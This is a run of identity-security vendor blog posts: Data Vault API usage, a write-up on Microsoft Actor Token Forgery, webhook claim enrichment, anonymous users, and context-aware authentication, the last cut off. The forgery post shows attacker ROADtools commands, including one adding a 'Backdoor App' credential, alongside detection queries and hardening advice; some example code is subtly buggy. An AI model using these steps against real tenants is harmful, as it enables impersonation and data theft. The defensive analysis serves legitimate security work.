The resulting token can be loaded in Javascript through the SDK as follows:

const user = new slashid.User(
  'eyJhbGciOiJSUzI1NiIsImtpZCI6InZFcHNGZyJ9.dsaRoZW50aWNhdGVkX21ldGhvZHMiOlsiYXBpIl0sImV4cCI6MTY2NzU2NzIxMCwiZmlyc3RfdG9rZW4iOmZhbHNlLCJpYXQiOjE2Njc0ODA4MTAsImlzcyI6InNhbmRib3guc2xhc2hpZC5kZXYvYXV0aG4iLCJqdGkiOiI2MDU3Yzc1MDNhYzhkNjM2NWVkMDZkMDFkOGIwNGZlOSIsIm9pZCI6ImY5NzhhNmJkLTNlNDUtYmNkYS1jYjRlLTU3M2QwYmFkMTU1YiIsInVzZXJfaWQiOiJwaWQ6MDE5NzU1NDdlNDdkYTU5ZDc0ZDVmYTVkZjJlMWYxZGYzZmZhMWEyZWNlMTc4NWMzZTk3ZTZlZGUwNDc4ZTg5ZThkM2NhNzYxMmE6MSJ9.EMwqVfJLvVVhOy_TQ7UuX1kiXphXBwt3E38Rkdkgkld_C5TfHqi7BRgwyc6FQEsnX4QzoB9-vCjupVxpAlY_PuVaxvNI3j1NUilZuPB8GMsiUS5Ivc1k9yUBMt11qOd1GR6lU9GiUZnXzOaYiOMc5LZJs8ig7YsFJCSZ34QpgcwQAkR0gIWOBezc_q4vHel8NnOgjx4syhUz-1gLngyqgwpdWae1zmzMY9zrof7NfXnSr69waLQvToA7gQWDgC0TLimpvNNiHrE3Do7v0JgXJ7JQ63ARE7ES0uppaX-mvpo7HYp32RfDmh29EOsMkSt0NFrY8t1UhUvySh57ECkePA'
)

From this point onwards, you can use the user object just like you would if you were using Access for Identity Management:

await user.set({ passport: 'E65471234' })

const attrs = await user.get()
// => attrs === {"passport": "E65471234"}

Accessing Data Vault from the backend

Accessing Data Vault from your backend is straightforward through a simple REST API. Here is an example to retrieve all the attributes in clear-text for a given user:

curl -L -X GET 'https://api.sandbox.slashid.com/persons/pid:01975547e4f57cd8ac6a0f80f50793d5718b6056ca072101b52b060f28302882903bdd7d1d:1/attributes' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'

{
  "result": {
    "email": "testuser_32819h@slashid.dev",
    "firstName": "John",
    "lastName": "Smith",
    "passport": "E65471234",
  }
}

To add a new attribute we can PUT it as follows:

curl -L -X PUT 'https://api.sandbox.slashid.com/persons/pid:01975547e4f57cd8ac6a0f80f50793d5718b6056ca072101b52b060f28302882903bdd7d1d:1/attributes' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'
--data-raw '{"creditcard_num": "324345678123403"}'

And to delete an attribute, it’s a simple DELETE:

curl -L -X DELETE 'https://api.sandbox.slashid.com/persons/pid:01975547e4f57cd8ac6a0f80f50793d5718b6056ca072101b52b060f28302882903bdd7d1d:1/attributes?attributes=lastName' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'

curl -L -X GET 'https://api.sandbox.slashid.com/persons/pid:01975547e4f57cd8ac6a0f80f50793d5718b6056ca072101b52b060f28302882903bdd7d1d:1/attributes' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'

{
  "result": {
    "email": "testuser_32819h@slashid.dev",
    "firstName": "John",
    "creditcard_num": "324345678123403",
    "passport": "E65471234",
    "uuid": "1909981882"
  }
}

Lastly, you can selectively GET individual attributes to minimize accessing unneeded clear-text confidential information:

curl -L -X GET 'https://api.sandbox.slashid.com/persons/pid:01975547e4f57cd8ac6a0f80f50793d5718b6056ca072101b52b060f28302882903bdd7d1d:1/attributes?attributes=creditcard_num' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'

{
  "result": {
    "creditcard_num": "324345678123403"
  }
}

The internals

We provide a deep-dive on our encryption scheme in this blogpost.

At a high level, we decided early on that our encryption layer would be database-agnostic, because we wanted the ability to expand datastore coverage beyond our current database, if needed.

Some data structures in our architecture are encrypted and globally replicated, while others are encrypted but localized to a specific region.

We make extensive use of envelope encryption. Our keys are encrypted following a tree-like logic as shown schematically in the picture below.

Properties of the key hierarchy

The key hierarchy mentioned above is generated per-region and this structure brings a number of advantages:

A compromised key doesn’t compromise all the data
Deleting user data can be achieved through crypto-shredding by deleting the corresponding user key
Data can be replicated globally without violating data residency requirements since the keys are localized per-region
The root of the chain of trust is stored in a Hardware Security Module (HSM) making a whole-database compromise an extremely arduous task
We can enforce fine-grained access control on the HSM to tightly control and reduce the number of services able to decrypt subtrees

Key lifecycle

Keys are created on demand when a new organization, a new user or a new attribute is generated. Keys are never stored unencrypted anywhere at rest and only one service within SlashID’s infrastructure has the ability to access the HSM to decrypt the master key, significantly reducing the chances of compromise.

Derived keys are stored in a database that is encrypted, geo-localized and backed-up every 24 hours.

Lastly, all keys are rotated at regular, configurable intervals.

The storage engine

While Data Vault is database agnostic and is exposed as a key-value storage, we are currently using Cloud SQL for PostgreSQL for attribute storage. Cloud SQL is deployed in multiple GCP regions to obtain as much granular coverage as possible for data localization purposes.

As mentioned earlier, key material is stored in the region closest to the user to comply with data localization laws. Encrypted user data is either localized with the key or globally replicated across different regions to reduce latency, depending on access patterns.

What’s next?

We have a number of exciting upcoming features for Data Vault:

Fine-grained attributes
Tokenization and PCI compliance
In-browser encryption

And many more!

In the next few weeks we’ll describe how we are approaching in-browser encryption so you can decide whether to encrypt the data in the backend or let the user encrypt data client-side in a non-custodial fashion.

Conclusion

If you are interested in Data Vault or you have built a similar system yourself, we’d love to hear from you. Please reach out to us!

Microsoft Actor Token Forgery

SlashID Team, Vincenzo Iozzo — Sun, 09 Nov 2025 00:00:00 GMT

Summary

Authentication no longer hinges on passwords alone but on tokens, keys, and trust relationships between applications and service accounts. While this shift has enabled seamless integrations and powerful automation, it has also opened the door to a stealthy and dangerous class of attacks: Actor Token Forgery. This blog post explores Actor Token Forgery from an attacker’s point of view, demonstrating how malicious actors exploit legitimate trust chains to impersonate users and applications.

Actor Token Forgery is one of the many techniques adopted by attackers to escalate privileges and move laterally via identity.

This post reconstructs the attack flow, maps it to MITRE ATT&CK, and outlines immediate detection and defense actions.

What are Actor Tokens?

Actor tokens are tokens that are issued by a service called Access Control Service. These tokens allow certain Microsoft services to impersonate users/identities in an Entra directory. Exchange and Sharepoint are two of the most common services using Actor tokens.

Actor tokens lack a lot of security controls and visibility, in particular:

There are no logs at issuance
There are no logs of usage, as these tokens in Entra are logged as the impersonated identity
They cannot be revoked
Conditional Access policies don't apply to them

What is Actor Token Forgery?

Actor Token Forgery is a technique where attackers forge OAuth 2.0 access tokens using either a stolen certificate or an injected trusted key. These tokens are indistinguishable from legitimate ones: they’re signed with trusted credentials, issued by Microsoft’s own Security Token Service (STS), and pass all validation checks. With them, attackers can authenticate to Microsoft Graph, Exchange, SharePoint, or any federated app in the tenant, without triggering MFA, without a login event, and without raising any alarms.

This technique is similar in spirit to the infamous Golden SAML attack. But while Golden SAML abuses federated identity infrastructure like ADFS, Actor Token Forgery happens entirely within Microsoft Entra (formerly Azure AD), making it harder to detect and easier to automate.

The Attack Flow

Like many identity-centric attacks, Actor Token Forgery requires an initial foothold. This could come from a compromised global admin account, an exposed CI/CD token, or a misconfigured app registration with excessive permissions.

Once inside, the attacker hunts for service principals or applications with high-privilege permissions such as Directory.Read.All, Mail.Read, or User.Read.All. Using Microsoft Graph, they enumerate applications and check their keyCredentials and appRoles.

roadtx graphrequest https://graph.microsoft.com/v1.0/servicePrincipals
roadtx graphrequest https://graph.microsoft.com/v1.0/applications

The next step is critical: the attacker either steals an existing certificate (PFX) from disk or injects a new one via Graph API. Certificate injection requires Application.ReadWrite.All or equivalent permissions, which are often granted to CI/CD pipelines, automation accounts, or overly trusted apps.

Each parameter in the command defines a specific part of the OAuth 2.0 / OpenID Connect token request that ROADtools performs against Azure AD:

-c 93c5e1b2-0fa0-4126-a2d2-9c58f1cd7685 — Client (Application) ID The globally unique identifier of the Azure AD application (service principal) that is authenticating. It tells Azure AD which app is requesting the token and links the request to that app's registration within the tenant.
-t endrit.onmicrosoft.com — Tenant Specifies the Azure AD tenant that will issue the token. It's the logical directory in which the app lives and where authentication takes place. In this example, the tenant domain endrit.onmicrosoft.com corresponds to a particular tenant ID (tid) shown later in the decoded token.
-s "msgraph/.default offline_access" — Requested Scopes / Resource Permissions
offline_access adds the ability to obtain refresh tokens for long-lived access.
--key-pem — Private-Key File (Proof of Possession) – PFX
--cert-pem — Public-Key / Certificate File

This allows attackers to:

Call Microsoft Graph with app-level permissions the app already has. Meaning that they can:
- Add or replace keyCredentials
- Create new service principal
- Assign roles or create privileged accounts
- Use obtained token to call other MS APIs (SharePoint, Exchange,…)

roadtx graphrequest -m POST "https://graph.microsoft.com/v1.0/applications/:98449b3b-bfc5-4459-82cc-f4c1994df7e9addPassword" -d "{\"passwordCredential\":{\"displayName\":\"Backdoor App\"}}

Diving deeper

This figure illustrates a full Actor Token Forgery attack chain executed using ROADtools, a post-exploitation toolkit. The first command shows the generation of an actor token (getactortoken) using a compromised client certificate linked to an app registration (client_id: 93c5e1b2-0fa0-4126-a2d2-9c58f1cd7685) within the Entra tenant. This token impersonates an identity (00000002-0000-0ff1-ce00-000000000000@outlook.office.com) typically used by Microsoft services such as Outlook or Graph API, granting delegated access under this identity. After writing the token to .roadtools_actortoken, the describe command decodes the JWT payload, revealing fields like appid, identityprovider, oid, and tid, confirming it is a signed token for Microsoft Graph with aud and iss aligned to the compromised tenant.

In the next step, getimpersonationtoken is used to forge a composite token impersonating a target user (alice@endrit.onmicrosoft.com) using the previously obtained actor token. The target resource is SharePoint (endrit.sharepoint.com), and the resulting impersonation token is stored in .roadtools_auth. The final describe output reveals the forged token contains an "actortoken" claim, which embeds the original actor token inside the composite, thereby linking the forged token to the service principal that signed it. This type of attack effectively allows lateral movement, access escalation, and cross-service impersonation without MFA or password interaction, bypassing traditional logon detection tools, and representing a serious threat if certificate theft or app registration abuse occurs.

Key points:

Sharepoint accepted a self-signed, unsigned token ("alg": "none"), because it came through a trusted hybrid path.
The “iss” (issuer) is the same one as for the legitimate actor token, and the same for the forged copy after the ROADtools_actor token command.
The difference is origin: one came from Microsoft’s STS, the other was self-signed by the attacker, yet still trusted by Exchange Online because it’s signed with the valid hybrid certificate’s key.

Assertion key and S2S Authentication Flaws

When the on-prem Exchange server requests an actor token from Microsoft’s Access Control Service, that token is an assertion — a signed JWT stating “Exchange on-prem (actor) is acting on behalf of user X”.

Exchange Online doesn’t talk directly to Entra ID again; instead, it takes that assertion and embeds it verbatim inside a new token — the unsigned bearer token you see being sent to Exchange Online. Because Exchange Online already trusts the on-prem service principal and its certificate (configured as “trusted for delegation”), it doesn’t need to re-validate the signature against Entra ID. It simply unwraps the actor token, verifies the issuer (Exchange Hybrid), and accepts the claims (user identity, roles, scopes).

Thus, the “actor token assertion” and the “unsigned bearer token” contain the same inner data: one is issued by ACS and signed, and the other is just that same blob re-used and forwarded by Exchange Online to prove delegated identity.

The Service-to-Service (S2S) authentication model was built for seamless communication between trusted Microsoft workloads like Exchange and SharePoint but creates a major blind spot.

When a trusted service principal (e.g., an on-prem Exchange hybrid server) requests an actor token from Microsoft’s Access Control Service (ACS), it receives a signed JWT. Exchange Online then embeds that token inside an unsigned bearer token ("alg": "none") to skip revalidation with Entra ID, meaning no logs, no Conditional Access, and no revocation. These S2S tokens last up to 24 hours, are non‑revocable, and invisible to standard identity monitoring. Because the bearer token simply reuses the actor token’s contents, compromising a certificate from a TrustedForDelegation service lets attackers impersonate any tenant user, including admins, and access Exchange, SharePoint, and OneDrive entirely outside Entra ID’s visibility.

Hardening Against Actor Token Forgery & S2S Assertion Abuse

Audit certificate material in service principals:

a. Query:
```
ServicePrincipal
| where preferredTokenSigningKeyThumbprint != ""
    or array_length(keyCredentials) > 0
```
b. Flag:
- keyCredentials.endDateTime > now() + 365d
- trustedForDelegation == true c. Action:
- Rotate all credentials ≥ 90 days old
- Enforce short-lived certs via Graph automation:
```
az ad app credential list --id <appid>
az ad app credential reset --id <appid> --append --years 0.25
```
Monitor certificate insertions via Graph API:

a. Telemetry:
```
AuditLogs | where ActivityDisplayName == "Add keyCredentials"
```
b. Detection logic:
- New certificate on high-privilege app (Graph, Exchange, EWS) without matching appRoleAssignment change
Flag or block tokens with "alg": "none" (unsigned JWTs)
Correlate mailbox access patterns with Entra logs:
- Rationale: S2S / actor tokens are accepted by Exchange/SharePoint but never logged in Entra ID
- S2S tokens leave no Entra ID log footprint
Look for unusual file access scopes in Graph calls (e.g., Files.Read.All by apps)
Review conditional access bypass paths:
- Important: S2S flows do not trigger Conditional Access
- Mitigation:
  - Restrict usage of client-credential flow apps:
```
az ad app update --id <appid> --set oauth2AllowImplicitFlow=false
```

Integrity-based detection of forged assertions

In this example, the actor token's header exposes the thumbprint:

JWT token thumbprint: x5t/kid = yEUwmXWL107Cc-7QZ2WSbeOb3sQ

While the legitimate Entra service principal lists a registered certificate with:

Registered certificate: customKeyIdentifier = 17A0A7B70A586359E83BCB9BDAA3D3402F29D9DF

Key finding: Because the token thumbprint does not appear in the service principal's keyCredentials set, the token's signing certificate is unregistered in Entra—proving it was generated offline with a forged or stolen PFX.

Attacker's Toolbox

Exported PFX (cert+key) from Entra or Exchange Hybrid
ROADtools + ROADtx modules (getactortoken, getimpersonationtoken,…)
Custom JWT forging tools
Known AppIDs / Service Principals
- Exchange: 00000002-0000-0ff1-ce00-000000000000
- Graph: 00000003-0000-0000-c000-000000000000
- SharePoint: 00000003-0000-0ff1-ce00-000000000000
Graph API post-exploitation
- GET /users/{id}/drive/root/children (shown below & demo), GET /users, GET /users/{id}

Demo

This screenshot shows a successful Microsoft Graph call made after ROADtools generated an actor/impersonation token.

API endpoint: GET /users/{id}/drive/root/children

Attack flow:

Attacker produces a signed actor token (PFX-based)
Uses it to request a delegated token that can read OneDrive contents
Makes Graph API call with forged credentials

Technical breakdown:

Attack type: Actor token forgery / abuse of certificate-backed app credentials
Authentication proof: Token proves possession of a private key
Why it works: Accepted by Entra/Exchange/Graph as a valid service-issued assertion
Result: Graph API returns the victim's drive items without any interactive login or MFA

Key security implications:

❌ No MFA challenge
❌ No user interaction required
❌ Bypasses Conditional Access policies
✅ Appears as legitimate service-to-service authentication

Your browser does not support the video tag.

What SlashID detects

SlashID is built to detect and respond to attacks such as Actor Token Forgery. In particular with SlashID you can detect:

Service accounts with dangerous OAuth 2 scopes
Anomalous keyCredential changes
Anomalous appRoleAssignment changes
Anomalous service accounts behavior

Conclusion

Actor Token Forgery is a high-impact identity attack that leverages trust relationships and certificate-based signing to bypass normal identity controls. Because the attack abuses legitimate service principals and S2S (service-to-service) flows, it can fail to generate any meaningful records in Entra ID or Conditional Access telemetry—creating a dangerous blind spot for defenders. In practice, an attacker who can obtain or inject a signing certificate into a trusted application or hybrid service principal can impersonate any user in the tenant and access Exchange, SharePoint, OneDrive, and Graph APIs without interactive sign-ins or MFA challenges.

Defenders can significantly reduce this risk by treating certificate material and service principals as first-class security objects: rotate credentials frequently, enforce short certificate lifetimes, monitor and alert on every keyCredentials insertion or modification, and correlate app-level activity with Entra ID and mailbox access logs. Where possible, minimize the number of applications trusted for delegation and restrict app permissions to least privilege. Finally, make integrity checks—like validating token thumbprints against registered keyCredentials—part of routine identity hygiene and automated threat-detection playbooks.

If you maintain hybrid Exchange or any S2S integrations, prioritize the following immediate actions:

Inventory service principals and their certificates
Audit recent Add keyCredentials events and newly created high-privilege apps
Implement detection rules that correlate unsigned or unexpected tokens with certificate insertions and privileged Graph activity.

These steps will close the fastest, most obvious attack paths and give your security team the visibility needed to detect and respond to Actor Token Forgery before it becomes a full tenant compromise.

SlashID is built to detect and respond to attacks such as Actor Token Forgery. Get in touch to see how we can help.

Adding custom claims to identity tokens

Vincenzo Iozzo, SlashID Team — Wed, 06 Mar 2024 00:00:00 GMT

Introduction

Identity token claims contain information about the subject, such as email addresses, roles, risk scores, and more, specified as key-value pairs. JWTs support two different types of claim fields:

Standard: these claim names are registered and are commonly included in tokens as industry standards.
Custom: you can specify additional information to be added to your tokens.

It's easy to add custom claims to SlashID-issued tokens. For example, you can add meaningful details about the user who is logging in into your web app, such as their name, physical address, or roles.

SlashID provides three ways to add custom claims:

Using synchronous webhooks during registration/authentication.
Using Gate.
Using our token minting API from your backend.

Read on to see an example of token enrichment using webhooks. If you are interested in our other approaches, take a look at the Gate documentation or our token minting API.

We believe our approach has several advantages compared to others, in particular:

Testability: it is significantly easier to test custom authentication logic via webhooks compared to hosted scripts or other approaches;
Data protection: by using a webhook you never expose key material (e.g., credentials to access a database with the enrichment information) or sensitive data to SlashID.
Flexibility: you can customize the token at any step of its journey, including at your backend level when you need to differentially enrich tokens for specific microservices.

You can find the code for this example in our GitHub repo.

Custom claims with webhooks

SlashID supports both synchronous and asynchronous webhooks to hook all interactions between a user and SlashID, such as authentication attempts, registration, changes in attributes, and more.

You can create and manage webhooks using a simple REST API - see the full documentation here.

Webhooks can be attached to multiple triggers, which are either asynchronous (events) or synchronous (sync hooks). To customize token claims, we will need to use the token_minted sync hook. This hook is called for every authentication/registration attempt before a token is issued.

The webhook registered with the token_minted trigger will receive the claims of the token that SlashID is about to mint for a user. The webhook's response can block the issuance, enrich it with custom claims, or do nothing.

A typical token received by the webhook looks as follows:

{
  "aud": "e2c8a069-7e89-cc7e-b161-3f02681c6804",
  "exp": 1697652845,
  "iat": 1697652545,
  "iss": "https://api.slashid.com",
  "jti": "2479ec0e-aad5-47ca-a12b-214ddaf7fc85",
  "sub": "065301f4-1c74-7636-ad00-da1923dc00f9",
  "target_url": "https://7b9c-206-71-251-221.ngrok.io/pre-auth-user-check",
  "trigger_content": {
    "aud": "e2c8a069-7e89-cc7e-b161-3f02681c6804",
    "authentications": [
      {
        "handle": {
          "type": "email_address",
          "value": "vincenzo@slashid.dev"
        },
        "method": "oidc",
        "timestamp": "2023-10-18T18:08:57.9002598Z"
      }
    ],
    "first_token": true,
    "groups_claim_name": "groups",
    "iss": "https://api.slashid.com",
    "region": "europe-belgium",
    "request_metadata": {
      "client_ip_address": "206.71.251.221",
      "origin": "http://localhost:8080",
      "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36"
    },
    "sub": "065158a6-33f2-725e-a208-9d773600513a"
  },
  "trigger_name": "token_minted",
  "trigger_type": "sync_hook",
  "webhook_id": "065301dd-b26d-7d7e-b500-6a7f180b2cdb"
}

Using Python's FastAPI framework, we will add three custom claims to a token: a user name, a fictional department, and a flag stating whether the user is in the office based on their IP address.

1. Prerequisites

Python 3.6+
ngrok: https://ngrok.com/download
A SlashID account. Obtain the SlashID ORG_ID and API_KEY from the Settings page as shown below. Register here for a free account.

2. Serve the webhook locally

ngrok http 8001: create local tunnel; please take note of the ngrok-provided URL in ngrok's output, you'll need to set it as the webhook's base target_url
ORG_ID=[/id Org ID] API_KEY=[/id API key] uvicorn webhook:app --port 8001 --reload: serve the webhook locally

NOTE: Make sure that the port is not used by any other service

3. Define and register the webhook

Let's first register the webhook and attach it to the token_minted event.

curl -X POST --location 'https://api.slashid.com/organizations/webhooks' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "target_url": "https://ngrok-url/user-auth-hook",
    "name": "user enrichment",
    "description": "Webhook to receive notifications when a user attempts login or registration"
}'

{
    "result": {

        "description": "Webhook to receive notifications when a user attempts login or registration",
        "id": "16475b49-2b12-78d7-9012-cfe0e174dcd3",
        "name": "user enrichment",
        "target_url": "https://ngrok-url/user-auth-hook"
    }
}

curl -X POST --location 'https://api.slashid.com/organizations/webhooks/16475b49-2b12-78d7-9012-cfe0e174dcd3/triggers' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "trigger_type": "sync_hook",
    "trigger_name": "token_minted"
}'

Now that the webhook is registered, let's take a look at a toy example for https://api.example.com/slashid-webhooks/user-auth-hook.

import os
from fastapi import FastAPI, Depends, HTTPException, Request, status
from fastapi.responses import JSONResponse
import jwt
import requests
from datetime import datetime
import json

def verify_extract_token(request_body):
    jwks_client = jwt.PyJWKClient("https://api.slashid.com/organizations/webhooks/verification-jwks", headers={"SlashID-OrgID": "<ORGANIZATION ID>"})
    webhookURL = ""

    try:
        header = jwt.get_unverified_header(request_body)
        key = jwks_client.get_signing_key(header["kid"]).key
        token = jwt.decode(request_body, key, audience="<SLASHID_ORGANIZATION ID>", algorithms=["ES256"])

        if token['target_url'] != webhookURL:
            raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=f"Token {token} is invalid: {e}",
        )
    except Exception as e:
        raise HTTPException(
          status_code=status.HTTP_401_UNAUTHORIZED,
          detail=f"Token {token} is invalid: {e}",
      )
    return token

app = FastAPI()

@app.post("/user-auth-hook")
def hook_function(request: Request):

    request_body = await request.body()

    # Now the request has been validated
    token = verify_extract_token(request_body)

    print(json.dumps(token, indent=4))

    #extract the email address of the user
    handle = token['trigger_content']['authentications'][0]['handle']['value']
    ip_address = token['trigger_content']['request_metadata']['client_ip_address']

    print(f"User handle {handle} and IP address {ip_address}\n")

    if handle == "alex.singh@acme.com":
        in_office = False
        if ip_address == "10.20.30.40":
            in_office = True

        return JSONResponse(status_code=status.HTTP_200_OK, content={
            "department": "R&D",
            "name": "Alex Singh",
            "in_office": in_office
        })
    else:
        return JSONResponse(status_code=status.HTTP_200_OK, content={})

4. Test it on a real application

You can use one of the SlashID sample applications to test this live.

If everything works as expected, you'll see the customized token with your claims in the context bar on the left once the user logs in.

Conclusion

In this guide, we've shown you how to add custom claims to your tokens via synchronous webhooks. We’d love to hear any feedback you may have: please reach out to us at contact@slashid.dev!

Try out SlashID with a free account.

Introducing Anonymous Users: Balancing First-Party Data Collection and User Experience

Vincenzo Iozzo, SlashID Team — Wed, 24 Apr 2024 00:00:00 GMT

The Challenge: Balancing Data Collection and User Experience

Third-party cookies have been a double-edged sword for websites. While they enabled data collection for personalized experiences, they also contributed to the controversial data brokerage industry. As third-party cookies are set to be deprecated in 2024, websites are seeking alternatives to gather first-party data while maintaining a smooth user experience.

The common approach is to add a login form and incentivize users to create accounts. However, this can lead to increased friction and user drop-off. SlashID offers a better solution: Anonymous Users.

With anonymous users, you can collect user information as if users had accounts and defer the account creation process to much later in their lifetime. Imagine an e-commerce website, a happy user shops there 3-4 times over several months. During that time, their anonymous user object can store information about their preferences, addresses, and more.

You can defer the account creation process to any point in the future without sacrificing the ability to learn more about them so that the user can benefit from your product and won't drop off too early.

How do anonymous users work

Anonymous Users allow websites to collect user information without requiring users to create an account immediately. This feature enables a seamless user experience while still gathering valuable first-party data.

At a high level, anonymous users work as follows:

When a visitor starts a session, SlashID creates a user with a long-lived token, emitting an AnonymousPersonCreated event. The user is fully-fledged, allowing the addition of attributes, consent storage, and other SlashID functionalities.
When the user first authenticates or registers:
- For registration, SlashID attaches a handle (and optionally a credential) to the current anonymous user, emits a PersonCreated event, and swaps the anonymous token for the new token.
- For authentication, SlashID discards the anonymous user and replaces it with the authenticated user.
If the user doesn't create an account within the expiration period, SlashID emits an AnonymousPersonDeleted event and wipes the user.

Implementing Anonymous Users with SlashID's React SDK

Here's a quick guide on implementing Anonymous Users using SlashID's React SDK:

1. Create an anonymous user

Enable Anonymous Users via the <SlashIDProvider> component:

<SlashIDProvider oid="ORGANIZATION_ID" anonymousUsersEnabled>
  <App />
</SlashIDProvider>

As soon as the SDK is loaded an AnonymousUser instance will be available via the useSlash() hook.

import { useSlashID, SlashIDLoaded } from '@slashid/slashid'

function App() {
  const { anonymousUser } = useSlashID()

  return <SlashIDLoaded>{anonymousUser.ID}</SlashIDLoaded>
}

2. Persist Anonymous Users across sessions by enabling token storage

We've made it possible to persist an anonymous user between sessions and load that user instead of creating a new one. This is particularly useful for fingerprinting users who never sign-up, or implementing a sign-up conversion strategy that spans across multiple sessions.

See our full guide for all the ways to load existing anonymous users.

We are going to show an example using token storage. If you've enabled token storage, anonymous users will be automatically loaded from storage when the SDK is loaded.

Remember to enable token storage via <SlashIDProvider>.

<SlashIDProvider
  oid="ORGANIZATION_ID"
  anonymousUsersEnabled
  tokenStorage="localStorage"
  // or
  tokenStorage="cookie"
>
  ...
</SlashIDProvider>

3. Data collection

Reading & writing data via user attributes works the same as it does for regular users.

const { anonymousUser } = useSlashID()
if (!anonymousUser) return

const bucket = await anonymousUser.getBucket('end_user_read_write')
await bucket.set('example', { foo: 'bar' })

4. Sign-in & sign-up

Sign-in & sign-up works the same as if the user is logged out, and anonymous users were disabled.

You can have the user authenticate using the <Form> component, with no additional anonymous user related config required.

import { Form } from '@slashid/slashid'

function App() {
  return <Form />
}

or programmatically:

import { Form } from '@slashid/slashid'
import { Factor, Handle } from '@slashid/slashid'

function App () {
  const { logIn } = useSlashID()
  const handle: Handle = { /* your handle config */ }
  const factor: Factor = { /* your factor config */ }

  return (
    <Button onClick={() => logIn({ handle, factor })}>
      Log in
    </Button>
  )
}

Conclusion

Anonymous Users provide a powerful solution for websites to gather first-party data while maintaining a frictionless user experience. By deferring account creation, websites can learn about their users without sacrificing engagement. If you're interested in implementing Anonymous Users for your business, SlashID is here to help.

Don't hesitate to reach out to us or sign up for free here!

Context-aware authentication: fight identity fraud and qualify your users

Vincenzo Iozzo, SlashID Team — Tue, 10 Oct 2023 00:00:00 GMT

Introduction

Knowing your users is becoming increasingly important today both to increase revenue and to fend off attacks.

Just last week 23andMe was breached through a credential stuffing attack. While there are multiple ways to defend against this kind of attacks, one of the key tools to use is better intelligence on bots and potential malicious traffic coming to your website.

At the same time, Product Led Growth (PLG) is an increasingly prevalent paradigm in today's market. In PLG, john.smith@gmail.com testing out your dashboard could be the VP at a large company that can sign off on a 6-figure deal for your company.

In this article, we show how we can leverage SlashID's webhooks to enrich the authentication context and customize the user journey and block malicious users.

Specifically, we'll demonstrate how to store SlashID JWTs, enrich them with risk scoring and attribution information, and block potentially malicious connections originating from Tor.

Hooking the authentication journey

SlashID supports both synchronous and asynchronous webhooks to hook all interactions between a user and SlashID (for example: authentication attempts, registration, changes in attributes and more).

SlashID events are defined using protobuf. These definitions can be used to generate code for unmarshalling and handling SlashID events (for example, as received in webhook requests).

You can create and manage webhooks using a simple REST API - see the full documentation here.

To attach a webhook to an event, we need to make two REST calls:

Register a webhook
Attach the webhook to an event

curl -X POST --location 'https://api.slashid.com/organizations/webhooks' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "target_url": "https://api.example.com/slashid-webhooks/user-created",
    "name": "user created",
    "description": "Webhook to receive notifications when a new user is created"
}'

{
    "result": {

        "description": "Webhook to receive notifications when a new user is created",
        "id": "16475b49-2b12-78d7-9012-cfe0e174dcd3",
        "name": "user created",
        "target_url": "https://api.example.com/slashid-webhooks/user-created"
    }
}

curl -X POST --location 'https://api.slashid.com/organizations/webhooks/16475b49-2b12-78d7-9012-cfe0e174dcd3/triggers' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "trigger_type": "event",
    "trigger_name": "PersonCreated_v1"
}'

Now we have a webhook, we can test whether the hook is triggered through the test-events endpoint:

curl -X POST --location 'https://api.slashid.com/test-events' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '[
    {
        "event_name": "PersonCreated_v1"
    }
]'

If the webhook was registered correctly we'll receive a call from SlashID.

Validating requests

When handling a request to a webhook, it is essential that you verify the contents of the request before processing it further. With SlashID, we have made this simple by using the JSON Web Token (JWT) and JSON Web Key (JWK) standards. The body of the request to the webhook is a signed and encoded JWT (just like our authentication tokens). In order to verify it, you should first retrieve the verification key JSON Web Key Set (JWKS) for your organization using the API. (Note that this endpoint is rate-limited, so we recommend caching the verification key.) You can then use this key to verify the JWT signature, and decode the body.

Here's an example on how to validate a webhook request:

...
    jwks_client = jwt.PyJWKClient("https://api.slashid.com/organizations/webhooks/verification-jwks", headers={"SlashID-OrgID": "<ORGANIZATION ID>"})

    request_data = request.get_data()
    try:
        header = jwt.get_unverified_header(request_data)
        key = jwks_client.get_signing_key(header["kid"]).key
        token = jwt.decode(request_data, key, audience="<ORGANIZATION ID>", algorithms=["ES256"])
    except Exception as e:
        raise HTTPException(
          status_code=status.HTTP_401_UNAUTHORIZED,
          detail=f"Token {token} is invalid: {e}",
      )

Blocking requests coming from Tor IPs

Malicious actors often use VPNs and Tor to hide their tracks. Generally, traffic coming through a Tor exit node should receive a higher level of scrutiny - whether by blocking traffic or enforcing further authentication verification such as stronger authentication factor or MFA.

To block authentication attempts coming from Tor IP addresses, we can do the following:

Register a synchronous webhook on token_minted
Check if the IP comes from Tor. You can use multiple services for this; in our example, we'll use seon.io
Block a request if it comes from Tor

